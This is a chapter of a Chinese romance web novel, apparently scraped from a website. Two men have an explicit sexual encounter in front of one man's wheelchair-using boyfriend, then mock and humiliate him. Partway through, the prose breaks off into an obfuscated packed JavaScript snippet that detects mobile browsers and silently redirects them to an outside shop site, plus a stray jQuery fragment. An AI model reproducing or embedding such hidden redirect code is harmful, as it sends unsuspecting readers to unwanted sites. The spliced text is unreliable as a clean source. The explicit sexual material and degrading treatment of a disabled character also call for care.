有那么一瞬间,陆柏安完全分不清自己是不是还清醒着,否则他怎么可能听到梁知对自己提出这种问题。
他喉结狠狠一滚,声音发哑,不敢置信:“……你说什么?”
梁知看了他两秒,没有重复,转身朝客厅里走:“没听见就算了。”
“谁没听见了?”陆柏安一把拉住他脱口而出,“我听得一清二楚,你问我,想不想亲你。”
“所以亲吗?”
靠……
陆柏安的呼吸一滞,视线不受控制地落在梁知的嘴唇上。色泽是浅淡的粉,透着一层薄薄的水光,上次用手指拨弄的触感还记忆犹新,如果不是用手指,而是用嘴……
靠!
亲就亲,谁怕谁?
陆柏安抬脚狠狠一带,门板重重合上。紧接着猛地往前一步,一把扣住梁知的后颈。
下一秒,两片唇瓣撞在了一起。
没有技巧,生硬而笨拙地相贴。
两人同时浑身一僵,齐齐轻颤了一下。
陆柏安碰了一下就下意识顿住,脑子一片空白,连怎么继续都不知道,只觉得梁知的嘴亲起来比他想象中还要软,僵在原地不敢深也不敢退。
梁知刚才话说得好听,真被这样吻住时也懵了,睫毛疯狂颤抖着,下意识闭紧眼睛。
空气里那缕淡淡的烟草味在紧贴的瞬间变得格外清晰,陆柏安混沌的脑子稍稍回神,依旧僵硬地贴着他的唇,气息乱得一塌糊涂,含糊地问了一句:“抽烟了?”
他还以为烟味是梁知养兄留下的,没想到梁知嘴里也有。
梁知顿了几秒,缓慢地嗯了一声。
“一杯倒还学人抽烟。”
话音落下,陆柏安急切地开始加深这个吻。他紧张得手心冒汗,扣在梁知后颈的手越收越紧,凭着以前在泡沫剧里搜刮来的技巧厮磨贴合。
梁知被他吻得浑身发软,原本紧绷的唇瓣渐渐放松下来,差点要撑不住身体的重量,双臂下意识环上对方的脖子。
两人抱得歪七扭八,差点站都站不稳。嘴上磕磕碰碰,却谁都舍不得松开。
大门旁就是厨房,他们就这么一边吻着,一边不受控制地往后退,脚步凌乱、跌跌撞撞地挪了过去。
很快,梁知的后腰抵上了冰凉的灶台,硌得他轻轻一颤,分神的刹那,只听见“哐当”一声轻响,有什么东西从台边掉了下去。
他下意识垂眸瞥了一眼,是柄被碰落的锅铲。就这么短短一秒的分神,再回神时,腰上忽然一紧。陆柏安稳稳托住他,稍一用力直接将他抱上了灶台。
双腿被迫分开,陆柏安顺势站在他两腿中间,牢牢将他圈在自己与灶台之间,刚刚被打断的吻再次落了下来。
亲着亲着,梁知渐渐喘不过气,唇瓣发麻,缺氧得厉害,只得下意识偏过头换气。
陆柏安本能地追上去想继续,嘴刚伸出去,身体忽然一僵。
几乎是同时,梁知察觉到腿间一紧。他刚要低头去看,眼前忽然一暗。
陆柏安伸手捂住了他的眼睛,语气有些尴尬:“……我去趟厕所。”
梁知刚从刚才的亲吻里缓过来,脸颊晕着一层浅绯。他一言没发,指尖轻轻收拢,将正要退开的陆柏安重新拉回身前。
陆柏安的目光落在他握的地方,整个人一僵:“你……”
艹……做的梦成真了。
梁知一手环着陆柏安的脖子,一手握着陆柏安的晋江,被吻得微肿泛红的唇轻轻启合,望着他一字一顿:“不继续?”
废话……
都这样了,不继续他还是人?
陆柏安重新吻上去,急切地碾过梁知的唇瓣。
他一手扣着梁知的腰,将人稳稳圈在怀里,另一只手不受控制地下滑,直到落在对方的大腿侧。
梁知浑身猛地一绷,被碰到的那条大腿不受控制地轻轻抖了一下,搂着他脖颈的手指瞬间攥紧。
陆柏安以为是自己碰得他不舒服,刚要把手上移回去搂腰,下一秒,梁知那条被他贴着的腿,竟轻轻地蹭了蹭他的掌心。
陆柏安脑子嗡的一声。
艹艹艹,他在心里疯狂种草,梁知本人怎么比他梦里还那个。
掌心微微收紧,唇瓣一路朝下,下颌、颈侧、锁骨,最终定格在那颗他觊觎了无数次的小红痣上。
轻轻一咬。
他感觉浑身血液都在发烫。
“你们在做什么?”
门外突然传来一声愠怒的喝问。
梁知从陆柏安肩头抬起脸,直直对上一道不可思议的目光。
陈信坐在轮椅上,整张脸铁青一片,一双眼睛红得吓人,死死盯着灶台上相拥的两人。
“知知!”他厉声嘶吼,“你知不知道你在干什么?!”
陆柏安缓缓回头,猛然惊觉,轮椅上的人是梁知的男友。
他这是,在光明正大地,和梁知偷情。
“别理他。”
在陈信癫狂的目光里,梁知贴着陆柏安的耳朵,腿根不经意蹭了一下手里的东西。
陆柏安瞳孔猛地一缩。
艹,真是疯了。
当着他男人的面就……
门口的陈信看清梁知的动作,已经彻底癫狂,一双眼睛红得快要渗出血来。身体因为暴怒控制不住地发抖,轮椅被他晃得发出吱呀刺耳的异响。
“知知!”
梁知无暇理会他,并着双腿,仰着脖颈,发丝凌乱地垂落,喉间时不时溢出一声闷哼。
温和、沉沦、全然交付,是陈信从未见过的模样。
他双目赤红如血,额角青筋暴起,死死盯着那两道交缠的身影,指甲几乎嵌进掌心,喉咙里发出困兽般低沉的嘶吼。
“知知……回来……回来!”
依旧,没有任何人搭理他。
下一秒,轮椅彻底失去平衡,轰然侧翻。
陈信重重摔在冰冷的地砖上,他感知不到任何疼痛,红着眼疯了一般想往前爬。可他的身体毫无知觉,腿像两截沉重的铁,僵硬地拖在身后分毫不能挪动。
一想到梁知的正牌男友在身后盯着他们干这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184939|196990||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
种事,陆柏安原本就滚烫沸腾的血液瞬间被激得越发燥热。
他扣着梁知腰肢的手越收越紧,几乎要将人嵌进自己怀里,一边咬梁知的唇珠,一边问:“我和他,谁比较爽?”
梁知感知到他的变化,微微喘气,掀起眼皮看他一眼:“你说呢?”
没有正面回答,但陆柏安很满意这个答案,愈发凶狠。
陈信狼狈地跌趴在地板上,半边脸颊贴着冰凉的瓷砖,眼睁睁看着梁知与陆柏安在他眼前进行苟且之事。心情逐渐从愤怒转化为绝望,因为他发现,明明是如此让人作呕的画面,他的身体却不受控制地泛起异样的躁动。
为什么?
嫉妒像毒蛇一样啃噬着他的五脏六腑。
为什么偏偏是他?
为什么偏偏是他,不能做一个四肢健全、能跑能跳的正常人?
为什么偏偏是他,要拖着这副残破不堪的身体,像个废物一样趴在地上,眼睁睁看着喜欢的人被别的男人拥在怀里。
如果此刻亲吻拥抱梁知的人是他,如果让梁知甘愿在身下喘息的是他……
时间漫长又煎熬,足足一个小时,厨房里才渐渐安静下来。
梁知的整张脸、耳尖、脖颈,全都漫着一层淡粉,他神色平静地整理好凌乱的衣服,将凌乱的锁骨遮住,随后慢步走到陈信面前,目光轻飘飘落在他身上,像是此刻才猛然发现他的存在,淡淡道:“怎么躺在地上?”
陈信死死盯着梁知大腿处那片显眼的湿痕,嘴唇哆嗦着,一遍又一遍,近乎哀求地呢喃:“知知……知知……”
梁知收回目光,转头对陆柏安说了句:“洗个澡。”
厕所门很快便关上,隔绝掉陈信所有的声音与目光。
吃饱餍足的陆柏安慢悠悠转过身点了根烟,指尖夹着烟身轻轻一弹,扫了眼地上的人,眉梢微挑:“瞪我做什么?”
陈信死死盯着他,猩红的眼底翻涌着恨意与不甘:“陆柏安,你这个趁人之危的杂种,你凭什么……你碰了他……我杀了你……我一定要杀了你!”
他拼命扭动身体,想要扑上去,可身体毫无知觉,只能在原地徒劳地挣扎,模样既疯狂又凄惨。
陆柏安漫不经心地掏了掏耳朵:“就你这死鱼样,能杀谁?”
被戳中痛处,陈信咬牙切齿地大骂:“你就是个见不得光的小三!我和知知认识这么多年,我才是名正言顺的那个!我们每天都一起生活,每晚都睡在一起,你算什么东西!龌龊!下作!”
“小三?”陆柏安眸色一沉,他慢条斯理地碾灭指尖的烟,随即缓缓蹲下身,单手揪住陈信的衣领猛地一拽。
指节收紧,布料勒得陈信脖颈发紧,几乎喘不上气。
陆柏安垂着眼,居高临下地看着他狼狈不堪的模样,勾起一抹凉薄又嚣张的笑:“老子就爱给他当三怎么了?你有意见?他愿意让我当,愿意让你当吗?你要是真有能耐,他能找上我?”
“中看……不对,”他加重力道,将陈信狠狠掼回地上,“是不中看,也不中用的东西。”